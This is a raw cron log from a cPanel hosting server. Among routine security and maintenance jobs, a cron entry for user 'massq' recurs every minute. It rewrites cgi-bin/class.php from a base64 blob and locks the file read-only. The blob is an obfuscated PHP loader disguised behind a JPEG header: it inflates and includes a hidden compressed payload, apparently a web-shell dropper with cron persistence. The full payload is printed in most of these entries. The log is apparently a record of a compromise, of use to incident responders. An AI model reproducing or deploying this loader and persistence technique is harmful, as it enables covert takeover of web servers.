Sep 10 13:45:01 server CROND[11081]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:46:01 server CROND[11881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:46:01 server CROND[11882]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:46:01 server CROND[11883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:47:01 server CROND[12260]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:47:01 server CROND[12261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:47:01 server CROND[12262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:48:01 server CROND[12759]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:48:01 server CROND[12760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:48:01 server CROND[12766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:49:01 server CROND[13131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:49:01 server CROND[13132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:49:01 server CROND[13133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:50:01 server CROND[13519]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:50:01 server CROND[13520]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:50:01 server CROND[13523]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 13:50:01 server CROND[13530]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:50:01 server CROND[13535]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 13:50:01 server CROND[13533]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:50:01 server CROND[13534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:50:01 server CROND[13536]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:50:01 server CROND[13539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:51:01 server CROND[14377]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:51:01 server CROND[14378]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:51:01 server CROND[14379]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:52:01 server CROND[14766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:52:01 server CROND[14767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:52:01 server CROND[14768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:53:01 server CROND[15133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:53:01 server CROND[15134]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:53:01 server CROND[15132]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:54:01 server CROND[15744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:54:01 server CROND[15746]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:54:01 server CROND[15745]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:55:01 server CROND[16120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 13:55:01 server CROND[16122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:55:01 server CROND[16121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 13:55:01 server CROND[16126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 13:55:01 server CROND[16128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:55:01 server CROND[16129]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 13:55:01 server CROND[16125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:56:01 server CROND[16926]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:56:01 server CROND[16927]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:56:01 server CROND[16928]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:57:01 server CROND[17301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 13:57:01 server CROND[17302]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 13:57:01 server CROND[17304]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 13:57:01 server CROND[17303]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
